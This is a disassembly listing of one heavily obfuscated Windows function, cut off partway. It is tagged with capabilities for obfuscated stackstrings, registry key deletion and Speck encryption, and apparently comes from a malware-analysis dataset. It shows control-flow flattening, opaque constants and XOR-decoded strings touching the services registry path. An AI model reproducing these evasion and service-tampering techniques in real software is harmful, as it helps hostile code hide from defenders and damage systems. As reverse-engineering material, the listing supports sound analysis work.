Function at 0x14026ff8a
Capabilities:
Contain obfuscated stackstrings
Delete registry key
Encrypt data using speck

Disassembly:
push rax
pushf
mov eax, 0xebbcf613
pushf
not eax
add eax, 0xc84893a2
xor eax, 0x9e76b93a
rol eax, 0x21
popf
pushf
not eax
add eax, 0xda222f03
xor eax, 0xe9f10168
rol eax, 0xf2
popf
pushf
not eax
add eax, 0xd30b646e
xor eax, 0xe59f27a0
rol eax, 0x63
popf
pushf
not eax
add eax, 0xb7c60ec5
xor eax, 0xe0cbb92e
rol eax, 0xdc
popf
cmp eax, 0x29
jne 0x14026ffed
popf
pop rax
jmp 0x140271fbb
cmp eax, 0
jne 0x14026fffc
popf
pop rax
jmp 0x1402702ae
cmp eax, 3
jne 0x14027000b
popf
pop rax
jmp 0x140270946
cmp eax, 1
jne 0x14027001a
popf
pop rax
jmp 0x14027088a
cmp eax, 0xd
jne 0x140270029
popf
pop rax
jmp 0x140271042
cmp eax, 0x1a
jne 0x140270038
popf
pop rax
jmp 0x1402717d8
cmp eax, 0xe
jne 0x140270047
popf
pop rax
jmp 0x1402710a6
cmp eax, 0xb
jne 0x140270056
popf
pop rax
jmp 0x140270f6b
cmp eax, 0x19
jne 0x140270065
popf
pop rax
jmp 0x14027179b
cmp eax, 8
jne 0x140270074
popf
pop rax
jmp 0x140270d7d
cmp eax, 0x2a
jne 0x140270083
popf
pop rax
jmp 0x140272006
cmp eax, 0x17
jne 0x140270092
popf
pop rax
jmp 0x1402716a8
cmp eax, 0x1c
jne 0x1402700a1
popf
pop rax
jmp 0x1402718f2
cmp eax, 0x2e
jne 0x1402700b0
popf
pop rax
jmp 0x14027214f
cmp eax, 0x18
jne 0x1402700bf
popf
pop rax
jmp 0x140271734
cmp eax, 0x2b
jne 0x1402700ce
popf
pop rax
jmp 0x14027206b
cmp eax, 0x1b
jne 0x1402700dd
popf
pop rax
jmp 0x140271860
cmp eax, 0x2d
jne 0x1402700ec
popf
pop rax
jmp 0x140272103
cmp eax, 0x23
jne 0x1402700fb
popf
pop rax
jmp 0x140271c81
cmp eax, 0x25
jne 0x14027010a
popf
pop rax
jmp 0x140271da4
cmp eax, 0xf
jne 0x140270119
popf
pop rax
jmp 0x140271138
cmp eax, 0x13
jne 0x140270128
popf
pop rax
jmp 0x14027142a
cmp eax, 0x15
jne 0x140270137
popf
pop rax
jmp 0x14027157d
cmp eax, 0x24
jne 0x140270146
popf
pop rax
jmp 0x140271d12
cmp eax, 0x1e
jne 0x140270155
popf
pop rax
jmp 0x140271a33
cmp eax, 0xc
jne 0x140270164
popf
pop rax
jmp 0x140270fff
cmp eax, 0x26
jne 0x140270173
popf
pop rax
jmp 0x140271ddd
cmp eax, 0x27
jne 0x140270182
popf
pop rax
jmp 0x140271e89
cmp eax, 0x1f
jne 0x140270191
popf
pop rax
jmp 0x140271a6e
cmp eax, 0x10
jne 0x1402701a0
popf
pop rax
jmp 0x1402711d4
cmp eax, 0x2c
jne 0x1402701af
popf
pop rax
jmp 0x1402720ca
cmp eax, 9
jne 0x1402701be
popf
pop rax
jmp 0x140270e1c
cmp eax, 4
jne 0x1402701cd
popf
pop rax
jmp 0x1402709db
cmp eax, 0x16
jne 0x1402701dc
popf
pop rax
jmp 0x140271603
cmp eax, 0x28
jne 0x1402701eb
popf
pop rax
jmp 0x140271f07
cmp eax, 0xa
jne 0x1402701fa
popf
pop rax
jmp 0x140270ed5
cmp eax, 0x22
jne 0x140270209
popf
pop rax
jmp 0x140271ba1
cmp eax, 0x14
jne 0x140270218
popf
pop rax
jmp 0x1402714de
cmp eax, 7
jne 0x140270227
popf
pop rax
jmp 0x140270b88
cmp eax, 5
jne 0x140270236
popf
pop rax
jmp 0x140270abc
cmp eax, 2
jne 0x140270245
popf
pop rax
jmp 0x1402708ed
cmp eax, 0x20
jne 0x140270254
popf
pop rax
jmp 0x140271af8
cmp eax, 0x1d
jne 0x140270263
popf
pop rax
jmp 0x1402719a1
cmp eax, 0x11
jne 0x140270272
popf
pop rax
jmp 0x14027128c
cmp eax, 6
jne 0x140270281
popf
pop rax
jmp 0x140270b52
cmp eax, 0x2f
jne 0x140270290
popf
pop rax
jmp 0x140272188
cmp eax, 0x12
jne 0x14027029f
popf
pop rax
jmp 0x1402712da
cmp eax, 0x21
jne 0x1402702ae
popf
pop rax
jmp 0x140271b9e
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xa0]
sub rsp, 0x1a0
mov rax, qword [0x14010a0d0]
xor rax, rsp
mov qword [rbp + 0x90], rax
mov rsi, rdx
xor ebx, ebx
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
lea edx, [rbx + 0x1f]
mov dword [rsp + 0x40], 0x43001f
mov dword [rsp + 0x44], 0x7a006d
mov dword [rsp + 0x48], 0x760078
mov dword [rsp + 0x4c], 0x6b006c
mov dword [rsp + 0x50], 0x66006d
mov dword [rsp + 0x54], 0x720043
mov dword [rsp + 0x58], 0x7c007e
mov dword [rsp + 0x5c], 0x760077
mov dword [rsp + 0x60], 0x7a0071
mov dword [rsp + 0x64], 0x4c0043
mov dword [rsp + 0x68], 0x4c0046
mov dword [rsp + 0x6c], 0x5a004b
mov dword [rsp + 0x70], 0x430052
mov dword [rsp + 0x74], 0x6a005c
mov dword [rsp + 0x78], 0x6d006d
mov dword [rsp + 0x7c], 0x71007a
mov dword [rbp - 0x80], 0x5c006b
mov dword [rbp - 0x7c], 0x710070
mov dword [rbp - 0x78], 0x6d006b
mov dword [rbp - 0x74], 0x730070
mov dword [rbp - 0x70], 0x7a004c
mov dword [rbp - 0x6c], 0x43006b
mov dword [rbp - 0x68], 0x7a004c
mov dword [rbp - 0x64], 0x69006d
mov dword [rbp - 0x60], 0x7c0076
mov dword [rbp - 0x5c], 0x6c007a
mov dword [rbp - 0x58], 0x1f0043
movzx eax, word [0x1400f875a]
xor ax, dx
mov word [rbp - 0x54], ax
movzx eax, word [0x1400f875c]
xor ax, dx
mov word [rbp - 0x52], ax
movzx eax, word [0x1400f875e]
xor ax, dx
mov word [rbp - 0x50], ax
movzx eax, word [0x1400f8760]
xor ax, dx
mov word [rbp - 0x4e], ax
movzx eax, word [0x1400f8762]
xor ax, dx
mov word [rbp - 0x4c], ax
movzx eax, word [0x1400f8764]
xor ax, dx
mov word [rbp - 0x4a], ax
movzx eax, word [0x1400f8766]
xor ax, dx
mov word [rbp - 0x48], ax
movzx eax, word [0x1400f8768]
xor ax, dx
mov word [rbp - 0x46], ax
movzx eax, word [0x1400f876a]
xor ax, dx
mov word [rbp - 0x44], ax
movzx eax, word [0x1400f876c]
xor ax, dx
mov word [rbp - 0x42], ax
movzx eax, word [0x1400f876e]
xor ax, dx
mov word [rbp - 0x40], ax
movzx eax, word [0x1400f8770]
xor ax, dx
mov word [rbp - 0x3e], ax
movzx eax, word [0x1400f8772]
xor ax, dx
mov word [rbp - 0x3c], ax
movzx eax, word [0x1400f8774]
xor ax, dx
mov word [rbp - 0x3a], ax
movzx eax, word [0x1400f8776]
xor ax, dx
mov word [rbp - 0x38], ax
movzx eax, word [str.___s]
xor ax, dx
mov word [rbp - 0x36], ax
movzx eax, word [0x1400f877a]
xor ax, dx
mov word [rbp - 0x34], ax
movzx eax, word [0x1400f877c]
xor ax, dx
mov word [rbp - 0x32], ax
movzx eax, word [0x1400f877e]
xor ax, dx
mov word [rbp - 0x30], ax
movzx eax, word [0x1400f8780]
xor ax, dx
mov word [rbp - 0x2e], ax
movzx eax, word [reloc.WS2_32.dll_WSAStartup]
xor ax, dx
mov word [rbp - 0x2c], ax
movzx eax, word [0x1400f8784]
xor ax, dx
mov word [rbp - 0x2a], ax
movzx eax, word [0x1400f8786]
xor ax, dx
mov word [rbp - 0x28], ax
movzx eax, word [0x1400f8788]
xor ax, dx
mov word [rbp - 0x26], ax
movzx eax, word [0x1400f878a]
xor ax, dx
mov word [rbp - 0x24], ax
movzx eax, word [0x1400f878c]
xor ax, dx
mov word [rbp - 0x22], ax
movzx eax, word [0x1400f878e]
xor ax, dx
mov word [rbp - 0x20], ax
movzx eax, word [str.systemCurrentControlSetServices]
xor ax, dx
mov word [rbp - 0x1e], ax
movzx eax, word [0x1400f8792]
xor ax, dx
mov word [rbp - 0x1c], ax
movzx eax, word [reloc.WS2_32.dll_WSAStartup]
xor ax, dx
mov word [rbp - 0x1a], ax
movzx eax, word [reloc.WS2_32.dll_WSACleanup]
xor ax, dx
mov word [rbp - 0x18], ax
movzx eax, word [0x1400f8798]
xor ax, dx
mov word [rbp - 0x16], ax
movzx eax, word [0x1400f879a]
xor ax, dx
mov word [rbp - 0x14], ax
movzx eax, word [0x1400f879c]
xor ax, dx
mov word [rbp - 0x12], ax
movzx eax, word [0x1400f879e]
xor ax, dx
mov word [rbp - 0x10], ax
movzx eax, word [0x1400f87a0]
xor ax, dx
mov word [rbp - 0xe], ax
movzx eax, word [0x1400f87a2]
xor ax, dx
mov word [rbp - 0xc], ax
movzx eax, word [0x1400f87a4]
xor ax, dx
mov word [rbp - 0xa], ax
movzx eax, word [0x1400f87a6]
xor ax, dx
mov word [rbp - 8], ax
movzx eax, word [0x1400f87a8]
xor ax, dx
mov word [rbp - 6], ax
movzx eax, word [reloc.WS2_32.dll_WSACleanup]
xor ax, dx
mov word [rbp - 4], ax
movzx eax, word [0x1400f87ac]
xor ax, dx
mov word [rbp - 2], ax
movzx eax, word [0x1400f87ae]
xor ax, dx
mov word [rbp], ax
movzx eax, word [0x1400f87b0]
xor ax, dx
mov word [rbp + 2], ax
movzx eax, word [reloc.WS2_32.dll_WSACleanup]
xor ax, dx
mov word [rbp + 4], ax
movzx eax, word [0x1400f87b4]
xor ax, dx
mov word [rbp + 6], ax
movzx eax, word [0x1400f87b6]
xor ax, dx
mov word [rbp + 8], ax
movzx eax, word [0x1400f87b8]
xor ax, dx
mov word [rbp + 0xa], ax
movzx eax, word [0x1400f87ba]
xor ax, dx
mov word [rbp + 0xc], ax
movzx eax, word [0x1400f87bc]
xor ax, dx
mov word [rbp + 0xe], ax
movzx eax, word [reloc.WS2_32.dll_WSACleanup]
xor ax, dx
mov word [rbp + 0x10], ax
movzx eax, word [0x1400f87c0]
xor ax, dx
mov word [rbp + 0x12], ax
xor eax, eax
mov word [rbp + 0x14], ax
mov ecx, ebx
nop dword [rax]
nop dword [rax + rax]
xor word [rsp + rcx*2 + 0x42], dx
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x44], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x46], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x48], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x4a], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x4c], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x4e], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x50], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x52], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x54], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x56], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x58], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x5a], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x5c], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x5e], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x60], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x62], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x64], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x66], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x68], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x6a], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x6c], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x6e], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x70], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x72], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x74], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x76], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x78], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x7a], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x7c], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x7e], ax
movzx eax, word [rsp + 0x40]
xor word [rbp + rcx*2 - 0x80], ax
movzx eax, word [rsp + 0x40]
xor word [rbp + rcx*2 - 0x7e], ax
movzx eax, word [rsp + 0x40]
xor word [rbp + rcx*2 - 0x7c], ax
movzx eax, word [rsp + 0x40]
xor word [rbp + rcx*2 - 0x7a], ax
add rcx, 0x23
cmp rcx, 0x69
jae 0x140270857
push rax
pushf
mov eax, 0x7db76999
pushf
not eax
add eax, 0xf88753c8
xor eax, 0x907a1210
rol eax, 0x95
popf
pushf
not eax
add eax, 0xca988c01
xor eax, 0xa8cf7165
rol eax, 0x6a
popf
pushf
not eax
add eax, 0x8a1e6b96
xor eax, 0xb90dd9e8
rol eax, 0x9e
popf
jmp 0x14026ffde
push rax
pushf
mov eax, 0x2619e7f6
pushf
not eax
add eax, 0xcca1cbc0
xor eax, 0xc56ed56a
rol eax, 0xe7
popf
pushf
not eax
add eax, 0xc141a2e3
xor eax, 0xccae5131
rol eax, 0x6e
popf
jmp 0x14026ffde
movzx edx, word [rsp + 0x40]
jmp 0x1402706ae
mov word [rbp + 0x14], bx
lea rax, [rsp + 0x42]
mov rcx, 0xffffffffffffffff
nop dword [rax]
push rax
pushf
mov eax, 0xbf10fe6c
pushf
not eax
add eax, 0xc07dd42d
xor eax, 0xc75912ed
rol eax, 0x7b
popf
pushf
not eax
add eax, 0xafb4e659
xor eax, 0xfae47e40
rol eax, 9
popf
pushf
not eax
add eax, 0x8dec42e3
xor eax, 0xbf47836c
rol eax, 0x4d
popf
jmp 0x14026ffde
inc rcx
cmp word [rax + rcx*2], bx
jne 0x140270995
push rax
pushf
mov eax, 0xf262821d
pushf
not eax
add eax, 0x9da62640
xor eax, 0x9fb2cad8
rol eax, 0x1c
popf
pushf
not eax
add eax, 0xe98c95b4
xor eax, 0xc9268af5
rol eax, 0x50
popf
pushf
not eax
add eax, 0xab8bd3cc
xor eax, 0xb71a44b0
rol eax, 0x6c
popf
jmp 0x14026ffde
push rax
pushf
mov eax, 0x18dd9f7b
pushf
not eax
add eax, 0xbf40b3f6
xor eax, 0xb10a27fb
rol eax, 0x35
popf
pushf
not eax
add eax, 0xa6e0842f
xor eax, 0xff0ea96c
rol eax, 0x97
popf
pushf
not eax
add eax, 0xbe9c4e5d
xor eax, 0x8c3774bb
rol eax, 0x5f
popf
jmp 0x14026ffde
mov rdx, qword [rsi + 0x10]
movabs r15, 0x7b02fc5263de62a1
pushf
not r15
add r15, 0x7ee53cc0
xor r15, 0x5d7fb345
rol r15, 0x9c
popf
pushf
not r15
add r15, 0x5c9cec75
xor r15, 0x444d1c3a
rol r15, 0x23
popf
pushf
not r15
add r15, 0x7c51e0d0
xor r15, 0x60716987
rol r15, 0x37
popf
mov rax, r15
sub rax, rdx
cmp rax, rcx
jb 0x140270a76
push rax
pushf
mov eax, 0x209015a6
pushf
not eax
add eax, 0xf83cdf49
xor eax, 0x92e98bee
rol eax, 0x32
popf
pushf
not eax
add eax, 0xa58afabb
xor eax, 0xdc59e5a4
rol eax, 0x82
popf
jmp 0x14026ffde
push rax
pushf
mov eax, 0xccfced2a
pushf
not eax
add eax, 0x962ed7b9
xor eax, 0x8dc721df
rol eax, 0xef
popf
pushf
not eax
add eax, 0xe64b07fb
xor eax, 0x8838db8a
rol eax, 0x62
popf
pushf
not eax
add eax, 0xf4caff12
xor eax, 0xd2d0033d
rol eax, 0x8e
popf
jmp 0x14026ffde
mov rax, rsi
cmp qword [rsi + 0x18], 8
jb 0x140270af9
push rax
pushf
mov eax, 0x18353937
pushf
not eax
add eax, 0xb1615fdb
xor eax, 0xd8850cee
rol eax, 0xb7
popf
pushf
not eax
add eax, 0xcde62851
xor eax, 0xa74653bb
rol eax, 0x91
popf
jmp 0x14026ffde
push rax
pushf
mov eax, 0xcf357894
pushf
not eax
add eax, 0xf292e229
xor eax, 0xffc69a4f
rol eax, 0x81
popf
pushf
not eax
add eax, 0xcb573912
xor eax, 0x906bfcaf
rol eax, 0x98
popf
pushf
not eax
add eax, 0xa077872b
xor eax, 0xb0539fee
rol eax, 0xc7
popf
pushf
not eax
add eax, 0xfc2414de
xor eax, 0xa8dd4c50
rol eax, 0xd8
popf
jmp 0x14026ffde
mov rax, qword [rsi]
push rax
pushf
mov eax, 0xa7be1146
pushf
not eax
add eax, 0xcaa51651
xor eax, 0xd74938af
rol eax, 0xe0
popf
pushf
not eax
add eax, 0x9c854068
xor eax, 0xa63702c2
rol eax, 0xb
popf
jmp 0x14026ffde
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x42]
lea rcx, [rbp + 0x70]
call fcn.1401d5a49
nop
call fcn.14037a2c8
mov rdi, rax
mov qword [rbp + 0x20], rax
lea rax, [rbp + 0x70]
cmp qword [rbp + 0x88], 8
cmovae rax, qword [rbp + 0x70]
mov qword [rbp + 0x48], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
mov qword [rbp + 0x38], rbx
mov qword [rbp + 0x40], rbx
mov r8d, 0x9094a6f8
pushf
not r8d
add r8d, 0xbe89e90e
xor r8d, 0xd2ad80d1
rol r8d, 0x17
popf
pushf
not r8d
add r8d, 0xfd664bcf
xor r8d, 0x9ae6b76d
rol r8d, 0x77
popf
lea rdx, [0x19f69d76d]
pushf
sub rdx, 0x5f5a500d
popf
lea rcx, [rbp + 0x28]
call fcn.14028bc24
nop
call fcn.140380227
lea r12, [rdi + 0x40]
mov rcx, r12
jmp 0x140270c37
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea rdx, [rbp + 0x28]
mov r14, qword [rbp + 0x28]
mov r13, qword [rbp + 0x40]
cmp r13, 0x10
cmovae rdx, r14
movabs rdi, 0x5edc88c956b9ff8f
pushf
not rdi
add rdi, 0x4eeeb998
xor rdi, 0x7537433c
rol rdi, 0x8e
popf
pushf
not rdi
add rdi, 0x55516939
xor rdi, 0x7eca08b2
rol rdi, 0x54
popf
mov r9, rdi
mov rcx, rbx
movabs r10, 0x121fa852123287b2
pushf
not r10
add r10, 0x725ddde9
xor r10, 0x6db3542b
rol r10, 0x92
popf
pushf
not r10
add r10, 0x50aad51b
xor r10, 0x483308f9
rol r10, 0x4d
popf
pushf
not r10
add r10, 0x69f3416f
xor r10, 0x63472d46
rol r10, 0x8e
popf
mov r8, qword [rbp + 0x38]
test r8, r8
je 0x140270d24
push rax
pushf
mov eax, 0xced9c59f
pushf
not eax
add eax, 0xe7b3c3f9
xor eax, 0x946c4b4c
rol eax, 0xf6
popf
pushf
not eax
add eax, 0xdc76e90b
xor eax, 0x9713b39d
rol eax, 0xb8
popf
jmp 0x14026ffde
push rax
pushf
mov eax, 0x9e0e5045
pushf
not eax
add eax, 0x98bd284a
xor eax, 0x98a28e04
rol eax, 0x80
popf
pushf
not eax
add eax, 0xcf6cf06d
xor eax, 0x86717be5
rol eax, 0x5b
popf
pushf
not eax
add eax, 0x8e2a0bc9
xor eax, 0x96f1d5a5
rol eax, 0x95
popf
pushf
not eax
add eax, 0xb62c3234
xor eax, 0x92f72e8e
rol eax, 0x3c
popf
jmp 0x14026ffde
movzx eax, byte [rcx + rdx]
xor r9, rax
imul r9, r10
inc rcx
cmp rcx, r8
jb 0x140270dc3
push rax
pushf
mov eax, 0xce79c95f
pushf
not eax
add eax, 0xb740475f
xor eax, 0xe9304194
rol eax, 0x81
popf
pushf
not eax
add eax, 0xf4a58c20
xor eax, 0xf0b01349
rol eax, 0x10
popf
jmp 0x14026ffde
push rax
pushf
mov eax, 0x654b606
pushf
not eax
add eax, 0xd6e2f592
xor eax, 0x80fccaf0
rol eax, 0xb7
popf
pushf
not eax
add eax, 0xc0e89ce5
xor eax, 0xb693b0b3
rol eax, 0x8a
popf
pushf
not eax
add eax, 0x9f9a54eb
xor eax, 0xf19c1ad6
rol eax, 0x72
popf
pushf
not eax
add eax, 0xaeb5cdac
xor eax, 0xdbbf4650
rol eax, 0x8e
popf
jmp 0x14026ffde
lea r8, [rbp + 0x28]
lea rdx, [rbp + 0x50]
mov rcx, qword [rbp + 0x20]
call fcn.140255f0b
mov r8, qword [rax + 8]
test r8, r8
je 0x140270e7c
push rax
pushf
mov eax, 0x74e54858
pushf
not eax
add eax, 0x82df0349
xor eax, 0xe1b641ab
rol eax, 0xe7
popf
pushf
not eax
add eax, 0xa34a05fc
xor eax, 0xc2a04f50
rol eax, 0x92
popf
pushf
not eax
add eax, 0xe0d14630
xor eax, 0x823a5e7f
rol eax, 0xcb
popf
jmp 0x14026ffde
push rax
pushf
mov eax, 0xe7540eae
pushf
not eax
add eax, 0xbe0f1a4b
xor eax, 0xe35fc4f0
rol eax, 0x22
popf
pushf
not eax
add eax, 0xbaf2e57e
xor eax, 0xece2427d
rol eax, 0x3f
popf
pushf
not eax
add eax, 0xcc4ba6aa
xor eax, 0x83e01cfa
rol eax, 0x8a
popf
pushf
not eax
add eax, 0xfc7dac74
xor eax, 0xc9c0ff58
rol eax, 0x60
popf
jmp 0x14026ffde
mov rax, qword [rbp + 0x20]
cmp r8, qword [rax + 8]
je 0x140270f38
push rax
pushf
mov eax, 0x5bcee07d
pushf
not eax
add eax, 0xe49f3597
xor eax, 0x98a11ec8
rol eax, 0x46
popf
pushf
not eax
add eax, 0xf5ceb931
xor eax, 0xc52a0b0a
rol eax, 0x8b
popf
pushf
not eax
add eax, 0x8f8ed5b6
xor eax, 0xe804f7cc
rol eax, 0xa3
popf
pushf
not eax
add eax, 0xf3c7d533
xor eax, 0xab7b3c33
rol eax, 0xaf
popf
jmp 0x14026ffde
push rax
pushf
mov eax, 0x952ffb97
pushf
not eax
add eax, 0xf30d8b35
xor eax, 0xf4fc135d
rol eax, 3
popf
pushf
not eax
add eax, 0xcf01baea
xor eax, 0xedf4d4e4
rol eax, 0x65
popf
jmp 0x14026ffde
mov rax, qword [r8 + 0x30]
mov qword [rbp + 0x20], rax
mov rcx, r12
jmp 0x140270f77
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rbp + 0x20]
test rax, rax
je 0x140270fcc
push rax
pushf
mov eax, 0x483f2eab
pushf
not eax
add eax, 0xa8e33493
xor eax, 0xbf39ef59
rol eax, 0xc4
popf
pushf
not eax
add eax, 0xdd03a5cc
xor eax, 0xfe187689
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xb7f63eae
xor eax, 0xcd12971a
rol eax, 0xc1
popf
jmp 0x14026ffde
push rax
pushf
mov eax, 0xfc76384f
pushf
not eax
add eax, 0xc7fd541f
xor eax, 0xcff50904
rol eax, 0x85
popf
pushf
not eax
add eax, 0x8c626c23
xor eax, 0xfe2015c2
rol eax, 0xb9
popf
jmp 0x14026ffde
mov rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0x60]
jmp 0x140271008
call rax
jmp 0x1402710a6
mov rcx, r12
jmp 0x140271046
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
nop
push rax
pushf
mov eax, 0x6bde24bc
pushf
not eax
add eax, 0x805654b4
xor eax, 0xf9dceeae
rol eax, 0xca
popf
pushf
not eax
add eax, 0x8ef11571
xor eax, 0xedc5ee31
rol eax, 0xe6
popf
pushf
not eax
add eax, 0x998c191e
xor eax, 0xe4f061aa
rol eax, 9
popf
pushf
not eax
add eax, 0xc996af4b
xor eax, 0xb206c978
rol eax, 0x2c
popf
jmp 0x14026ffde
cmp r13, 0x10
jb 0x1402710f2
push rax
pushf
mov eax, 0x846d14b8
pushf
not eax
add eax, 0xa3b94cd4
xor eax, 0xf75c8e7c
rol eax, 0xb6
popf
pushf
not eax
add eax, 0xfb51ed1f
xor eax, 0xc13d1409
rol eax, 0x91
popf
pushf
not eax
add eax, 0xcdc09877
xor eax, 0xd3cfa7a1
rol eax, 0x14
popf
jmp 0x14026ffde
push rax
pushf
mov eax, 0xcca2aba
pushf
not eax
add eax, 0xf9c11b0c
xor eax, 0x84250d75
rol eax, 0x50
popf
pushf
not eax
add eax, 0xcbf32fa7
xor eax, 0x949b3e17
rol eax, 0x86
popf
pushf
not eax
add eax, 0xb7e59b50
xor eax, 0xb2676a39
rol eax, 0xa5
popf
jmp 0x14026ffde
lea rdx, [r13 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x14027118e
push rax
pushf
mov eax, 0xd2a30f86
pushf
not eax
add eax, 0xf9a407e2
xor eax, 0xe1a2ee64
rol eax, 4
popf
pushf
not eax
add eax, 0xc2d0c897
xor eax, 0xa0d14caa
rol eax, 0xcd
popf
pushf
not eax
add eax, 0x84994346
xor eax, 0xbf922436
rol eax, 0xb4
popf
jmp 0x14026ffde
push rax
pushf
mov eax, 0xb0c0c62e
pushf
not eax
add eax, 0x98330e20
xor eax, 0x81e7e9e9
rol eax, 0x86
popf
pushf
not eax
add eax, 0xb6ecb146
xor eax, 0xc9a47cb8
rol eax, 0x55
popf
pushf
not eax
add eax, 0x9f6890ab
xor eax, 0xaccd0400
rol eax, 0x95
popf
jmp 0x14026ffde
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140271233
push rax
pushf
mov eax, 0x5393c345
pushf
not eax
add eax, 0xafa9e55d
xor eax, 0x8b763640
rol eax, 0x50
popf
pushf
not eax
add eax, 0xb1227480
xor eax, 0x9deb8691
rol eax, 0x80
popf
pushf
not eax
add eax, 0xfe8a6d9b
xor eax, 0xf929520c
rol eax, 0xa
popf
jmp 0x14026ffde
push rax
pushf
mov eax, 0x7b11659a
pushf
not eax
add eax, 0xa69d153f
xor eax, 0xa6fbb9a7
rol eax, 0x9c
popf
pushf
not eax
add eax, 0xaa67157f
xor eax, 0x9f2f7fea
rol eax, 0x35
popf
pushf
not eax
add eax, 0xbc30e652
xor eax, 0xbe202082
rol eax, 0xdd
popf
pushf
not eax
add eax, 0x9f530ca7
xor eax, 0xcedca690
rol eax, 0x3f
popf
jmp 0x14026ffde
mov rcx, r14
call fcn.14021a52b
push rax
pushf
mov eax, 0xb952ebe
pushf
not eax
add eax, 0x8c388366
xor eax, 0xe9129db8
rol eax, 0xed
popf
pushf
not eax
add eax, 0xdb9ec06a
xor eax, 0xfd05e9a9
rol eax, 0xc5
popf
pushf
not eax
add eax, 0xb4e3d89f
xor eax, 0xc4ee8553
rol eax, 0x30
popf
jmp 0x14026ffde
call fcn.14037a2c8
mov r14, rax
mov qword [rbp + 0x48], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
mov qword [rbp + 0x38], rbx
mov qword [rbp + 0x40], rbx
mov r8d, 0x47fda152
pushf
not r8d
add r8d, 0x84a5b6bb
xor r8d, 0xf39efdb7
rol r8d, 1
popf
pushf
not r8d
add r8d, 0x8977a47b
xor r8d, 0xeb09d283
rol r8d, 0x7e
popf
lea rdx, [0x1b250c629]
pushf
sub rdx, 0x72414789
popf
lea rcx, [rbp + 0x28]
call fcn.14028bc24
nop
call fcn.140380227
lea r12, [r14 + 0x40]
mov rcx, r12
jmp 0x140271355
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea rcx, [rbp + 0x28]
mov r14, qword [rbp + 0x28]
mov r13, qword [rbp + 0x40]
cmp r13, 0x10
cmovae rcx, r14
mov rdx, qword [rbp + 0x38]
test rdx, rdx
je 0x1402713d1
push rax
pushf
mov eax, 0xf6ec257b
pushf
not eax
add eax, 0xfe0bfe33
xor eax, 0xddd3d7c0
rol eax, 0x82
popf
pushf
not eax
add eax, 0xdd578096
xor eax, 0xbcad3aa2
rol eax, 0x45
popf
pushf
not eax
add eax, 0xb1101c69
xor eax, 0xe4c9231d
rol eax, 0x9c
popf
pushf
not eax
add eax, 0xc6ba4281
xor eax, 0xb009bed3
rol eax, 0xa8
popf
jmp 0x14026ffde
push rax
pushf
mov eax, 0xbbe5243b
pushf
not eax
add eax, 0x8015a0fb
xor eax, 0xf179bf45
rol eax, 0x8c
popf
pushf
not eax
add eax, 0xf1e5391f
xor eax, 0xf69de44f
rol eax, 0x1d
popf
pushf
not eax
add eax, 0x904baaae
xor eax, 0x89d60f0c
rol eax, 0x9d
popf
pushf
not eax
add eax, 0xd949e07a
xor eax, 0xaf03848b
rol eax, 0xd9
popf
jmp 0x14026ffde
movabs r8, 0x80c8f88f14348075
pushf
not r8
add r8, 0x7979714d
xor r8, 0x45cd6473
rol r8, 0x51
popf
pushf
not r8
add r8, 0x5d78640c
xor r8, 0x4bd29a62
rol r8, 0xe2
popf
pushf
not r8
add r8, 0x44463cd4
xor r8, 0x7fc2d91e
rol r8, 0xb5
popf
nop word [rax + rax]
push rax
pushf
mov eax, 0x84ec12d2
pushf
not eax
add eax, 0xa02bc723
xor eax, 0xd6d59c90
rol eax, 0xa5
popf
pushf
not eax
add eax, 0xad64b1be
